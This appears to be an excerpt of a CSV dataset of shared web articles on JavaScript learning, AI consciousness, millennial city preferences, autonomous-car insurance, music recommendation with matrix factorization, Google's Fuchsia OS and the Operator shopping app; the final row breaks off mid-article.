1471640670,CONTENT SHARED,5217724704513784613,5127372011815639401,8594655486400546471,,,,HTML,https://snipcart.com/blog/learn-vanilla-javascript-before-using-js-frameworks,You SHOULD Learn Vanilla JavaScript Before JS Frameworks - Snipcart,"It's 2013. Our small dev team is on the verge of shipping one of its most impressive client projects to date. I'm at my stand-up desk, skimming through early morning emails. My partner bursts through the office door: ""Something's wrong with our Angular app, man. I've got a digest is already in progress error popping everywhere, and I can't figure out what's happening,"" he says, visibly nervous. But I'm not nervous, nor stressed. I know exactly where to start looking, because I know my JavaScript. And I know all of this thanks to a small robot. Yup, you read that right: a robot . Rewind to 2011. I was still a dreamy-eyed software engineer student back then, unaffected by the business imperatives of real-world coding . I was passionate about back-end development, and had no desire whatsoever to learn vanilla JavaScript, or anything related. But my friends and I had to build a soft real-time, task-oriented robot for one of our classes. We quickly stumbled upon this new cool thing called Node.js (quick peek at its docs back then ). No fancy dependencies, easy child processes spawning, async and event-driven... and many people online were saying it was the sh*t. We had absolutely no clue of what JavaScript or V8 were, but it still seemed like a good call for our robot project. Many peers told me to just find a decent library for my use cases, and pull off some copy/pasting art to get the socket communication job done. And I could've done just that. But I didn't. Although I didn't know it at the time, that was one of the best early career decisions I made. I started reading avidly instead. About asynchronous programming, the history of JavaScript, its pros and cons, everything. Because I wanted to master the underlying principles of the language powering my project . And it took quite a lot of time, coffee, beer, and dummy code to do so. In between managing my teammates' impatience and creating a not-so-clean, functional robot codebase, I learned a whole damn lot . So what's the point here? It's that I took enough time to understand the core principles of JavaScript before using shortcuts provided by JS frameworks and libraries . And why is that important? Well, this is what this post is about: not just pretending. First, what do I mean by JS ""frameworks"" here? When I use framework , I put all of the Angular, React, Backbone, Ember, Knockout, Vue, Ext, jQuery, Meteor, Express, Koa, Total, Socket.io, and so on, in the same box. Yes, I know some are quite different. Yes, I know some are ""not really a framework, but more of a library and BTW have you seen this thread on HN?"". But please, for the sake of this article, let's declare them equivalent in their primary purpose. And for those asking ""What is vanilla JavaScript?"" Let me steal an answer from koenpeters on Stack Overflow : ""VanillaJS is a name to refer to using plain JavaScript without any additional libraries like jQuery. People use it as a joke to remind other developers that many things can be done nowadays without the need for additional JavaScript libraries."" Or, in our case, without additional, fancy frameworks. Why I think JavaScript frameworks are awesome ""JS frameworks help you out by abstracting hard & complex code."" ""JS frameworks help you ship code faster and increase development velocity."" ""JS frameworks force you to focus on your app's value rather than its implementation."" These reasons quickly come up whenever we discuss the popularity of JS frameworks. But to me, they are marketing-ish reasons more than anything else. And I'm not ranting against frameworks here. I've actually used quite a few of them throughout my career (see list in previous section). And I believe the greatest value there is to find in JS frameworks is collaboration . Their consistent interface and methods allow developers from, say, Canada, the US, and Brazil to understand one another and work together. If you're building an app with [insert your favorite framework], when the time comes, you'll be able to find an experienced developer to hop in the project codebase with confidence. He or she'll be able to start tackling features without you needing to explain every part of your software architecture. Another key reason to use frameworks is practice . They make you practice, over and over again. And that's good, really! Practice always leads to mastery, whatever you're trying to accomplish. Why I believe JS frameworks are not THAT awesome People who work on frameworks implementation are all talented-at least most of them. They do a tremendous job of turning complex things into easy stuff (e.g. providing ruthlessly simple client-side router in IE6). But all of these levels of abstraction can quickly become evil . In every app development, there comes a day when something doesn't work as expected, and you don't really know why. This is when you have to start digging. And when you start searching through poorly documented, complex, generic, pure JS code, you'll need a deep understanding of JavaScript to make it. Otherwise, I can guarantee you're going to lose all the precious time you saved by using your fancy framework. You might just have to buy a new espresso machine to meet your deadlines. As I once read somewhere: ""You're not an Angular nor an Express developer. You're a developer ."" Sure, frameworks are useful for small teams working on a single app. Yes, they'll save you some time (unless you're a refactoring addict ). But what if you have more than one team working on more than one app? Do you really think all team leaders will agree on a single framework for the whole suite of apps? And what if a new ""cool kid"" framework comes around in 2017? Problem is: the moment you settle on a framework, you impact every single upcoming engineering decision . Plus, you chain your team to a technology that will probably soon be deprecated. This stuff blows my mind. How learning vanilla JavaScript before JS frameworks can-and will-help you JavaScript is now the programming language for the web . Understanding its core engineering principles is paramount if you want to build yourself a decent web career. Especially if you're aiming for the front of the pack. In the past 5 years, more than 10 frontend JS frameworks made the news. Guess how many will do the same in the next 5-10 years? If you're simply pretending to know JavaScript, the engine powering this web revolution, how will you keep up? Just think about what ""jQuery developers"" are doing today: trying to catch up on Angular. Tomorrow, they'll be trying to catch up on React. And the sad, depressing loop goes on. Knowing vanilla JavaScript will make you actually understand-or even contribute to-JS frameworks, and help you choose the right one when you need it . For me, it brought a lot of positive stuff: It helped me deliver a killer set of client features in a super short timeframe for an Ember app, without knowing jacksh*t about Ember. It got me a job offer from one of the tech giants because of a very simple library I wrote in my spare time. It made me identify bugs in libs implementation and suggest simple solutions really quickly. Takeaways: Learning vanilla JavaScript before JS frameworks So here's my TL;DR for you folks: If you don't know the underlying principles of the web, you'll eventually hit a wall thanks to the evolution of the language itself and the constant arrival of new frameworks. Knowing pure JS will make you a key engineer who can solve complex problems (reason before frantic searching). It'll make you versatile and productive, both on the front-end and back-end. It'll give you the toolset to innovate, not just execute. It'll guide you on when to use a framework or not . It'll give you a better general understanding of how browsers and computers work. Using a JS framework can surely bring you somewhere fast. But it won't bring you far if you don't understand the core concepts behind it. Just like learning to play Wonderwall on the guitar won't teach you how to compose music, but it'll give you a reason to practice. And I strongly believe that this ""learn the basics/roots first"" principle applies to pretty much everything in life. From learning a new programming language to starting a new sport. It requires a lot of practice, but once you master it, the only thing left to do is to get creative with it. And that's where the real fun begins. A word on getting started with vanilla JS I sure hope I've convinced you to get your hands dirty with plain ol' JavaScript. So if you want to kick ass at web dev and do just that, here's my high-level advice: Always be curious, always read the source material, and always try it yourself. And some more specific advice: Whenever a new JS lib or framework is trending on Echo JS, Hacker News or GitHub, go on and read the sources. Every time you write a piece of code, try to think of a plain JS solution that could fit your needs instead of instantly seeking for a lib to integrate. Go on Stack Overflow and challenge yourself to answer vanilla JS questions on your own. Of course, you should subscribe to useful channels such as Echo JS , JS news , and ECMAScript Daily . Last but definitely not least, you should also read about the language itself. Classics such as JavaScript: The Good Parts and the You Don't Know JS book series contain tons of value & insights. Enjoyed the post? Take a second to share it on Twitter ! And hit the comments section for questions/suggestions/insults! Suggested posts:",en
1471641545,CONTENT SHARED,6428429126612898364,-1032019229384696495,3065443139908774407,,,,HTML,http://www.huffingtonpost.com/bobby-azarian/why-digital-computers-cant-have-consciousness_b_9833520.html,Why Digital Computers Can't Have Consciousness,"Some of today's top techies and scientists are very publicly expressing their concerns over apocalyptic scenarios that are likely to arise as a result of machines with motives. Among the fearful are intellectual heavyweights like Stephen Hawking, Elon Musk, and Bill Gates, who all believe that advances in the field of machine learning will soon yield self-aware A.I.s that seek to destroy us--or perhaps just apathetically dispose of us, much like scum getting obliterated by a windshield wiper. In fact, Dr. Hawking told the BBC, ""The development of full artificial intelligence could spell the end of the human race."" Indeed, there is little doubt that future A.I. will be capable of doing significant damage. For example, it is conceivable that robots could be programmed to function as tremendously dangerous autonomous weapons unlike any seen before. Additionally, it is easy to imagine an unconstrained software application that spreads throughout the Internet, severely mucking up our most efficient and relied upon medium for global exchange. But these scenarios are categorically different from ones in which machines decide to turn on us, defeat us, make us their slaves, or exterminate us. In this regard, we are unquestionably safe. On a sadder note, we are just as unlikely to someday have robots that decide to befriend us or show us love without being specifically prompted by instructions to do so. This is because such intentional behavior from an A.I. would undoubtedly require a mind, as intentionality can only arise when something possesses its own beliefs, desires, and motivations. The type of A.I. that includes these features is known amongst the scientific community as ""Strong Artificial Intelligence"". Strong A.I., by definition, should possess the full range of human cognitive abilities. This includes self-awareness, sentience, and consciousness, as these are all features of human cognition. On the other hand, ""Weak Artificial Intelligence"" refers to non-sentient A.I. The Weak A.I. Hypothesis states that our robots--which run on digital computer programs--can have no conscious states, no mind, no subjective awareness, and no agency. Such A.I. cannot experience the world qualitatively, and although they may exhibit seemingly intelligent behavior, it is forever limited by the lack of a mind. A failure to recognize the importance of this strong/weak distinction could be contributing to Hawking and Musk's existential worries, both of whom believe that we are already well on a path toward developing Strong A.I. (a.k.a. Artificial General Intelligence). To them it is not a matter of ""if"", but ""when"". But the fact of the matter is that all current A.I. is fundamentally Weak A.I., and this is reflected by today's computers' total absence of any intentional behavior whatsoever. Although there are some very complex and relatively convincing robots out there that appear to be alive, upon closer examination they all reveal themselves to be as motiveless as the common pocket calculator. This is because brains and computers work very differently. Both compute, but only one understands--and there are some very compelling reasons to believe that this is not going to change. It appears that there is a more technical obstacle that stands in the way of Strong A.I. ever becoming a reality. Turing Machines Aren't Thinking Machines All digital computers are binary systems. This means that they store and process information exclusively in terms of two states, which are represented by different symbols--in this case 1s and 0s. It is an interesting fact of nature that binary digits can be used to represent most things; like numbers, letters, colors, shapes, images, and even audio with near perfect accuracy. This two-symbol system is the foundational principle that all of digital computing is based upon. Everything a computer does involves manipulating two symbols in some way. As such, they can be thought of as a practical type of Turing machine --an abstract, hypothetical machine that computes by manipulating symbols. A Turing machine's operations are said to be ""syntactical"", meaning they only recognize symbols and not the meaning of those symbols--i.e., their semantics. Even the word ""recognize"" is misleading because it implies a subjective experience, so perhaps it is better to simply say that computers are sensitive to symbols, whereas the brain is capable of semantic understanding. It does not matter how fast the computer is, how much memory it has, or how complex and high-level the programming language. The Jeopardy and Chess playing champs Watson and Deep Blue fundamentally work the same as your microwave. Put simply, a strict symbol-processing machine can never be a symbol-understanding machine. The influential philosopher John Searle has cleverly depicted this fact by analogy in his famous and highly controversial "" Chinese Room Argument "", which has been convincing minds that ""syntax is not sufficient for semantics"" since it was published in 1980. And although some esoteric rebuttals have been put forth (the most common being the ""Systems Reply""), none successfully bridge the gap between syntax and semantics. But even if one is not fully convinced based on the Chinese Room Argument alone, it does not change the fact that Turing machines are symbol manipulating machines and not thinking machines, a position taken by the great physicist Richard Feynman over a decade earlier. Feynman described the computer as ""A glorified, high-class, very fast but stupid filing system,"" managed by an infinitely stupid file clerk (the central processing unit) who blindly follows instructions (the software program). Here the clerk has no concept of anything--not even single letters or numbers. In a famous lecture on computer heuristics , Feynman expressed his grave doubts regarding the possibility of truly intelligent machines, stating that, ""Nobody knows what we do or how to define a series of steps which correspond to something abstract like thinking."" These points present very compelling reasons to believe that we may never achieve Strong A.I., i.e., truly intelligent artificial agents. Perhaps even the most accurate of brain simulations will not yield minds, nor will software programs produce consciousness. It just might not be in the cards for a strict binary processor. There is nothing about processing symbols or computation that generates subjective experience or psychological phenomena like qualitative sensations. Upon hearing this, one might be inclined to ask, ""If a computer can't be conscious, then how can a brain?"" After all, it is a purely physical object that works according to physical law. It even uses electrical activity to process information, just like a computer. Yet somehow we experience the world subjectively--from a first person perspective where inner, qualitative and ineffable sensations occur that are only accessible to us. Take for example the way it feels when you see a pretty girl, drink a beer, step on a nail, or hear a moody orchestra. The truth is, scientists are still trying to figure all this out. ­How physical phenomena, like biochemical and electrical processes, create sensation and unified experience is known as the ""Hard Problem of Consciousness"", and is widely recognized by neuroscientists and philosophers. Even neuroscientist and popular author Sam Harris--who shares Musk's robot-rebellion concerns--acknowledges the hard problem when stating that whether a machine could be conscious is ""an open question"". Unfortunately he doesn't seem to fully realize that for machines to pose an existential threat arising from their own self-interests, conscious is required. Yet although the problem of consciousness is admittedly hard, there is no reason to believe that it is not solvable by science. So what kind of progress have we made so far? Consciousness Is A Biological Phenomenon Much like a computer, neurons communicate with one another through exchanging electrical signals in a binary fashion. Either a neuron fires or it doesn't, and this is how neural computations are carried out. But unlike digital computers, brains contain a host of analogue cellular and molecular processes, biochemical reactions, electrostatic forces, global synchronized neuron firing at specific frequencies, and unique structural and functional connections with countless feedback loops. Even if a computer could accurately create a digital representation of all these features, which in itself involves many serious obstacles, a simulation of a brain is still not a physical brain. There is a fundamental difference between the simulation of a physical process and the physical process itself. This may seem like a moot point to many machine learning researchers, but when considered at length it appears anything but trivial. Simulation Does Not Equal Duplication The Weak A.I. hypothesis says that computers can only simulate the brain, and according to some like John Searle--who coined the terms Strong and Weak A.I.--a simulation of a conscious system is very different from the real thing. In other words, the hardware of the ""machine"" matters, and mere digital representations of biological mechanisms have no power to cause anything to happen in the real world. Let's consider another biological phenomenon, like photosynthesis.Photosynthesis refers to the process by which plants convert light into energy. This process requires specific biochemical reactions only viable given a material that has specific molecular and atomic properties. A perfect computer simulation--an emulation--of photosynthesis will never be able to convert light into energy no matter how accurate, and no matter what type of hardware you provide the computer with. However, there are in fact artificial photosynthesis machines. These machines do not merely simulate the physical mechanisms underlying photosynthesis in plants, but instead duplicate, the biochemical and electrochemical forces using photoelectrochemical cells that do photocatalytic water splitting. In a similar way, a simulation of water isn't going to possess the quality of 'wetness', which is a product of a very specific molecular formation of hydrogen and oxygen atoms held together by electrochemical bonds. Liquidity emerges as a physical state that is qualitatively different from that expressed by either molecule alone. Even the hot new consciousness theory from neuroscience, Integrated Information Theory , makes very clear that a perfectly accurate computer simulation of a brain would not have consciousness like a real brain, just as a simulation of a black hole won't cause your computer and room to implode. Neuroscientists Giulio Tononi and Christof Koch, who established the theory , do not mince words on the subject: ""IIT implies that digital computers, even if their behaviour were to be functionally equivalent to ours, and even if they were to run faithful simulations of the human brain, would experience next to nothing."" With this in mind, we can still speculate about whether non-biological machines that support consciousness can exist, but we must realize that these machines may need to duplicate the essential electrochemical processes (whatever those may be) that are occurring in the brain during conscious states. If this were possible without organic materials--which have unique molecular and atomic properties--it would presumably require more than Turing machines, which are purely syntactic processors (symbol manipulators), and digital simulations, which may lack the necessary physical mechanisms. The best approach to achieving Strong A.I. requires finding out how the brain what it does first, and machine learning researchers' biggest mistake is to think they can take a shortcut around it. As scientists and humans, we must be optimistic about what we can accomplishment. At the same time, we must not be overly confident in ways that steer us in wrong directions and blind us from making real progress. The Myth of Strong A.I. Since as early as the 1960s, A.I. researchers have been claiming that Strong A.I. is just around the corner. But despite monumental increases in computer memory, speed, and processing power, we are no closer than before. So for now, just like the brainy sci-fi films of the past that depict apocalyptic A.I. scenarios, truly intelligent robots with inner conscious experience remain a fanciful fantasy.",en
1471792165,CONTENT SHARED,4786732753690611738,-8606085472606356565,-5622318923342908070,,,,HTML,https://www.abodo.com/blog/living-millennial-dream/,Living the Millennial Dream - ABODO,"What do you look for in a city? Perhaps you prioritize affordable housing or a thriving job market. Or maybe you care most about abundant parks and hiking trails, a bustling downtown filled with restaurants, or a convenient public transit system to get you where you need to go. To find out what Millennials really want in a city, we surveyed 2,000 people born between 1982 and 1998 to determine just what qualities are important to them, and which city they thought had it all. After ranking the desired qualities, we were able to determine how various cities fulfilled these wishes. MILLENNIALS' MOST-DESIRED CITY FEATURES First, we asked Millennials to rank their desired qualities in a city on a scale of 1 to 10 - with 10 being the most important. Their top priority? A thriving job market - the only factor to average a ranking above 8. Affordable rent and affordable home prices were the second- and third-most-coveted features. Interestingly, outdoor spaces (such as parks and hiking trails) matter slightly more than local restaurants, pizza places, and movie theaters. And top rated public schools matter more than movie theaters. With Millennials becoming parents, these categories are bound to be a priority. HOW DO MILLENNIALS' PRIORITIES CHANGE OVER TIME AND BY GENDER? Men and women had identical lists in the top four spots, but differences in priorities reveal themselves at the fifth spot. Men consider good pizza and movie theaters more important, while women opt for local restaurants and top rated public schools. A revitalized downtown and concert or music venues appear only in the male top 10, while a green or farmers market and LGBTQ-friendliness appear only in the female top 10. WHICH IS MORE IMPORTANT: CHEAP RENT OR AFFORDABLE HOUSES? Conversely, only one region believes affordable homes are more important than affordable rent. In West North Central, it seems more Millennials are looking to buy rather than rent. However, their fellow Millennials in the rest of the country are not. WHO WANTS ACCESS TO GOOD PIZZA AND A STRONG JOB MARKET? On the other hand, New England seem to crave a strong job market more than they do pepperoni with extra cheese - and the Mountain and West South Central regions share that sentiment. WHICH CITIES DO MILLENNIALS LOVE? Just over 1 in 10 say San Francisco fits the bill, while nearly 1 in 5 dream of the Pacific Northwest: Seattle is the favorite for 9.2 percent of people and Portland for 9.1 percent. Los Angeles comes next, followed by Austin, Chicago , Denver, and San Diego. FAVORITE CITIES BY MILLENNIALS' AGE AND GENDER The runner-up cities varied: The youngest Millennials (ages 18 to 22) chose L.A., the middle group (ages 23 to 28) selected Portland, and the oldest (ages 29 to 34) said San Francisco. Men, too, chose San Francisco, while women selected Seattle. San Francisco, Portland, Seattle, and L.A. round out the majority of the top 5 for all groups save for one: The youngest Millennials rank Austin as their fifth choice. WHICH MILLENNIALS PREFER EACH CITY? Next, we compared respondents' current city with their dream cities. Atlanta and Chicago residents were most likely to pinpoint NYC as a great place to live. Millennials from Philadelphia would love to live in Seattle. Milwaukee residents think Denver sounds good. People from Pittsburgh ? They prefer Portland. DO THE ""PERFECT"" CITIES HAVE IT ALL? Which favorite Millennial cities are lacking in important qualities? Orlando, Atlanta, and Pittsburgh fell to the bottom with 70 percent. WHAT DO THE ""PERFECT"" CITIES LACK? Many cities lost points for lacking affordable rent or home prices, while others, like Atlanta and Orlando, were not close enough to a body of water. Eight cities were not known for having quality pizza, such as Seattle and Miami. FIND YOUR DREAM HOME When it comes to finding the right city, Millennials know what they want. While practical factors like housing and jobs come first on their priority lists, Millennials also long for features that will enhance their lifestyles, like nature, great food, and entertainment. While many Millennials want to live in specific areas like NYC, San Francisco, and Seattle, there are plenty of other cities that fulfill their needs like Philadelphia, Boston, D.C., and Portland. What's your ideal city? At ABODO.com , the home you love may only be a few clicks away. You can choose from over a million apartments across the country - whether in your current location or in the city of your dreams. METHODOLOGY We surveyed over 2,000 respondents in the United States born between the years 1982 and 1998. For the last two assets to ascertain whether the chosen favorite cities had Millennials' top 20 city qualities, we used the sources listed below. For home and rent affordability, the rent or mortgage could not exceed the 30 percent income standard. For a good job market, a city's unemployment rate could not surpass the national average of 5.1. A city's Walk Score rating had to be at least a 70, and its Greatschools.org rating had to be at least an 8. SOURCES FAIR USE You're welcome to share the images found on this page freely. When doing so, please attribute the authors by providing a link back to this page so your readers can learn more about this project and the related research.",en
1471793938,CONTENT SHARED,6040574489860277999,-1032019229384696495,-8894737883240617759,,,,HTML,https://techcrunch.com/2016/08/21/the-new-scary-face-of-auto-insurance/,"The new, scary face of auto insurance","Technology in the mobility space has made travel safer, faster and more convenient. The results have been incredible: The Insurance Information Institute found a 33 percent decrease in automobile deaths in the past three years. The same survey found that nine models registered zero fatalities per vehicle per million . Mobility has also become more accessible with ride-hailing apps like Uber and Lyft delivering more than one million rides a day in more than 60 countries . Despite the upside, there are consequences to innovation. On of this year, a Tesla owner died while using the Autopilot feature. His vehicle crashed into a truck after his Tesla failed to differentiate the white color of the truck against the backdrop of the sky. This event may change the narrative and public appeal for autonomous driving. It puts into perspective how close the future actually is and whether or not society will fully embrace it. Autonomous driving promises to decrease the automobile death toll. Last year there were 35,000 automotive-related deaths, accounting for .01 percent of the U.S. population. While it may not seem like a high number, those deaths are the result of people, not an algorithm that holds a passenger's life within its source code. This brings us to question the liability programmers and the code they write be given the power to determine life and death for consumers who buy their cars. And ultimately, who is liable in the case of an accident or even death? The next critical step is the proliferation of autonomous driving and the task of safely embedding its utility within the framework of our society. With these issues in mind, private companies and governmental agencies are taking appropriate steps to address them. Google has been testing and building a fleet of self-driving cars that have completed 1.5 million miles of road tests . In 2014, the U.S. Department of Transportation approved vehicle-to-vehicle technology that enabled vehicles to ""talk"" to one another and can help prevent human errors that often lead to collision. And this March, General Motors acquired a startup called Cruise Automation for $1 billion to launch a highway-oriented, cruise control system for their Cadillac C6 line. Technological and governmental infrastructure for autonomous vehicles is well on its way to maturity. Driving technology may never replace drivers, but it could help us become less injury prone. But there are a number of factors that will decide whether the mass adoption of autonomous driving will actually happen. Consumer acceptance is one factor. Not everyone may want a self- driving vehicle. Americans actually love cars; Experian Automotive reports that each household owns 2.28 cars on average . If the idea of autonomous vehicles were to become widely adopted, the end user will eventually need to view travel and car ownership as separate concepts, a concept highlighted in Elon Musk's master plan . Deloitte believes there are four future stages of mobility : incremental change, car sharing, driverless revolution and accessible autonomy. The road that our current model is headed down is a driverless revolution, where consumers may still own their car but the vehicle will have the capabilities to operate itself. While all four stages may exist simultaneously, they may not necessarily distribute evenly among every segment of the population. The driverless-revolution stage may indicate incremental change from what we have now, much like GM's new self-driving Cadillac technology. Accessible autonomy will impact auto insurance significantly. For starters, fewer accidents will result in fewer claims and less in losses for insurance carriers. David Zuby, EVP and Chief Research Officer at the Insurance Institute for Highway Safety stated , ""Vehicles equipped with front crash prevention technology have a 7-15% lower claim frequency under property damage liability coverage."" This is a win-win situation; not only will technology prevent accidents, insurance companies will pay out fewer claims. Insurance companies will also need to develop new, innovative products before autonomous vehicles become widespread. Crash-prevention technology will play a huge role in lowering premiums during the driverless-revolution stage. Insurance companies will need to find new products they can sell. In the car-sharing stage, insurance companies sold gap insurance and ride sharing policies to companies like Uber and Lyft. Drivers needed coverage when they picked up and dropped off guests. The premiums from the new policies cost more, as well. Geico's personal policies for a male living in Chicago would cost $1,140, while its ride-sharing policy for the same individual would cost $3,743 . Autonomous car policies could follow the same pricing increase strategy. The Tesla incident may deter the public from fully embracing autonomous vehicles. Self-driving cars may never reach accessible autonomy and might only be an add-on feature. It is very likely that the driver will still be liable for the actions of their vehicles. This means that drivers will still need auto insurance. Driving technology may never replace drivers, but it could help us become less injury prone. Featured Image: Emanuel M Schwermer/Getty Images",en
1471798362,CONTENT SHARED,3989649621607163677,-1032019229384696495,-8894737883240617759,,,,HTML,https://tech.iheart.com/mapping-the-world-of-music-using-machine-learning-part-1-9a57fa67e366?gi=346539b140e1,Mapping the World of Music Using Machine Learning: Part 1 - iHeartRadio Tech Blog,"Mapping the World of Music Using Machine Learning: Part 1 In June 2016 Ravi Mody and Tim Schmeier gave a presentation NYC Machine Learning meetup to discuss their work on the data science team at iHeartRadio. This is the first in a three part article complementing the presentation. The rise of online music streaming services. This has increased our access to music while letting our music providers ""learn"" our taste. More sophisticated machine learning techniques and more powerful hardware to deal with the volume of data the industry produces. Music, the Internet, and Machine Learning Like almost everyone who grew up in the 80s/90s, my music discovery followed a familiar pattern: I'd listen to the radio, talk to my friends about what they're listening to, then buy a CD/tape to play on repeat until everyone around me was sick of it. This worked fine for most people, but as a music lover I'm thankful it seems so foreign today - the internet has completely transformed the way I interact with music. While I still often listen to the radio, I now use my phone to tune into any of thousands of stations from across the country. Or I can stream music from basically any artist who has ever sold recorded music. On the discovery side I can choose between 100s of blogs and review sites, or see what my friends are listening to using social networks. While this explosion of music and discovery has been great and has opened up an entire world of music, it can be overwhelming. Ironically, paralyzed with choice , we're often tempted to stop exploring and listen to what we're familiar with. Fortunately, in recent years, the music industry has been addressing this through a massive shift towards deep, intelligent personalization. I attribute this to two simultaneous events: This article goes into detail of how we at iHeartRadio are using modern machine learning to connect our users with the music they love. The first part will show how we map our user listening patterns into a convenient form. We will show how we can combine almost every aspect of our service into the same algorithms, enabling many different ways of connecting our users and music together. The second part will cover our work using deep neural networks to ""listen to"" music to further personalize the user experience. The third and final part will introduce a powerful, convenient way of working with both methods. We will show examples of how this lets us quickly prototype and build a large number of otherwise complex features. Factorization Methods Probably the most ubiquitous approach to serving music recommendations to users is using a machine learning technique called matrix factorization. Matrix factorization is popular because it scales to very large datasets while still providing accurate recommendations. Matrix factorization works on behavioral data; to build these models we first aggregate all interactions between all users and all their music into a large (huge!) interaction matrix. For example, in the below figure, the intersection between the blue dotted line (a user) and the red dotted line (an artist) could be a number indicating how many hours a user listened to an artist. This matrix can theoretically contain trillions of interactions, but is fortunately very sparse, meaning it's mostly filled with zeros. The Black Keys Cage the Elephant Mumford & Sons Modest Mouse Death Cab for Cutie Alabama Shakes Kings of Leon Cold War Kids The Lumineers Arctic Monkeys We then use an algorithm called implicit matrix factorization to ""decompose"" the large interaction matrix into two much smaller matrices - in this case users and artists. These smaller matrices still contain rows and columns for all users and artists, but instead of storing the interaction between a user and an artist, the matrices store the interaction between a user/artist and a ""factor space"" of fixed, predetermined size, D (usually 30-200). So, in the figure above, instead of representing a user by how much they listened to every artist (the blue-dotted line), they can be represented by a vector of D numbers (the blue solid line). And instead of representing an artist by which users listened to them, they can be represented by another vector of D numbers (the red solid line). These vectors map the user's music taste and the artist's music style into the same sized vectors. To recreate an estimate of how many hours the blue user listened to the red artist, we can simply take the dot product of the red and blue vectors. The real power of this comes when we want to create artist recommendations for a user: instead of taking the dot product of the user's vector with artists she's already listened to, we can take the dot product of her vector with artists she hasn't to find music she would enjoy! This is a list of artists with the highest dot products to a coworker of mine, who listens to a lot of modern rock including the White Stripes and The Strokes: Vector Space Models Michael Jackson Prince Stevie Wonder Earth, Wind & Fire The Temptations Marvin Gaye Janet Jackson Usher Prince & the Revolution Whitney Houston Mariah Carey To help visualize what we're doing, the user and artist vectors from matrix factorization can each be considered a point in D-dimensional space. If D=2, we could visualize the space by mapping the first element of the vector to the x-axis and the second to the y-axis and plotting them: Taken together, this mapping of all our users and artists in D-dimensional space is called a vector space model . In this model the dot product of two vectors is a measure of how close, or ""similar"" two points are. Note that you can instead use euclidean distance to measure the dissimilarity between two points; this is different than the dot product but we've found often gives similar results. Live radio stations  - one of iHeartRadio's key features if the ability to listen to thousands of radio stations from around the country 24 hours a day. Tracks - our users can seed custom stations from a track (instead of an artist), or thumb tracks up and down as they listen. Podcasts  - iHeartRadio has 100s of thousands of podcast episodes in its library. Perfect for  - curated themed stations, like ""hip hop workout"". Genres - our music is classified into 100s of genres covering virtually every type of music from around the world. Demographics - we ask for a user's age, gender, and location during sign-up, helping us personalize the service to them. From here it's easy to see that we can find the similarity not just between users and artists, but any two points in the space; this means we can find the similarity between two artists, or between two users. For example, here are similar artists to Michael Jackson in our vector space model: Extending our Vector Space Model We can share information from different types; for example users that listen to this live station also like this podcast and don't like this track. Some users only use the service for one feature: artist radio vs track radio vs live radio vs podcasts. Putting every entity type into the same space lets us build a model that works across all users and features. This also lets us build products that generalize over our service (e.g. the code to recommend artists to a user is almost identical to the code that recommends podcasts). Mapping age, gender, and location helps us with the cold start problem , immediately letting us serve recommendations on sign-up. This user-artist vector space model provides great music recommendations, but we felt it was limiting because iHeartRadio's products and features involve far more than just users and artists, including: When we were working with just users and artists it was easy to keep the two separate, but with all these other features in mind we introduced a general concept of an ""entity type"". Some examples include user, artist, live_station, podcast, and gender. Our goal was to map all our entity types into the same space. There are several benefits to this: In the literature there is some research covering how to map many entity types with arbitrary relationships using matrix factorization, a technique known as collective matrix factorization. Our first attempt was a very simple approach: concatenating many different types into the same interaction matrix and running standard matrix factorization. This approach ended up working very well, creating a vector space model with all types mixed together: Using this multi-type vector space model, we can mix and match different entity types freely with dozens of possible combinations. We could create genre radio stations by finding similar tracks to a genre, or get an age/gender description for every live and artist radio station, or create personalized podcasts recommendations by finding similar podcasts to a user. We're currently putting several diverse applications of the model into production. We also moved some of our direct marketing efforts to this model earlier this year . Conclusion Mapping many different types in a single vector space model is a powerful concept - each new entity type combinatorially increases the number of ways we can use the model to help our users find content they'll enjoy. We believe this approach is very general, extending far beyond mapping user behavior in a music service (for example mapping websites, advertisers, internet users, and ad creatives into the same space to power a realtime bidding advertising platform). In part 2 of this article we will show how we created a similar vector space using the audio data of tracks. In part 3 we will show how adding a couple efficient operations opens up even more functionality, creating a seemingly endless way of working with our music data.",en
1471816678,CONTENT SHARED,-5319401396891346003,3609194402293569455,8604504276737949741,,,,HTML,http://googlediscovery.com/2016/08/13/fuschia-google-esta-construindo-um-novo-sistema-operacional-sem-estrutura-do-linux/,Fuchsia: Google está construindo um novo sistema operacional sem estrutura do Linux | Google Discovery,"De acordo com o Android Police , o Google está construindo um sistema operacional completamente novo e sem qualquer estrutura ou kernel do Linux. Embora o Google não tenha anunciado qualquer novidade oficialmente, o buscador divulgou detalhes sobre o projeto no GitHub com a descrição: ""rosa + roxo == Fuchsia (um novo sistema operacional)"". O sistema operacional usa um kernel do Magenta, que vem sendo projetado com foco em sistemas orientados para a Internet das Coisas como FreeRTOS ou ThreadX. No caso do Magenta, o sistema operacional poderia ser projetado para funcionar em smartphones e computadores desktop. Entretanto, não há qualquer indicação de que a empresa vá seguir com a ideia. Dart seria a linguagem de programação do Fuchsia e uma integração com o Flutter indica de que o sistema operacional vai utilizar Material Design para a interface de usuário. Seria este o futuro upgrade para unir o Android e o Chrome OS? é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1471817010,CONTENT SHARED,3361679265573758500,3609194402293569455,8604504276737949741,,,,HTML,https://techcrunch.com/2016/08/16/the-shopinator/,Operator fuses bots with humans to build cyborg shopping experts,"Big purchases are scary to make online without anyone there to quell your fears and answer questions. Operator's app wants to give you the same peace of mind, not with mechanical chat bot responses, but through real humans with knowledge about whatever you're buying. Today Operator 2.0 launches with a new Discovery tab where curators assemble recommendations about their favorite products in a category, and can offer guidance about which to get. That said, bots will still help handle mundane interactions to free up experts for more subjective work. Operator CEO Robin Chan tells me the update will help the app push its $90 average purchase size and 10-15% conversion rate, which destroys the typical 1-3% conversion rate on ecommerce sites. Not only could Operator's experts give you the same personalized suggestions like you'd get from a lifelong record store clerk. If they promote the app and rally their own social graphs to score more commissions, they could give Operator a critical growth boost. Operator emerged in April 2015 from Uber co-founder Garrett Camp's startup studio Expa. Run by Chan, former head of Zynga's Asia business and a successful angel investor, Operator raised a $10 million Series A from Greylock. But the iOS and Android beta apps have been slow to take off because they're trying to teach people a totally new way to shop. Instead of searching through a product database, Operator lets you type in a request for something over chat, like ""brown mens shoes size 10 or 11 that are light but good for hiking"", ""earbuds with the best bass under $100"", or ""a super comfy leather couch that's easy to move around."" Tracking down products with those specific traits would be tough for an amateur. But Operator hosts shoe, headphone, and furniture experts who already know what's best. ""The products that work for us are considered purchases"" says Chan. ""If you're going to spend a couple hundred or a thousand dollars on a 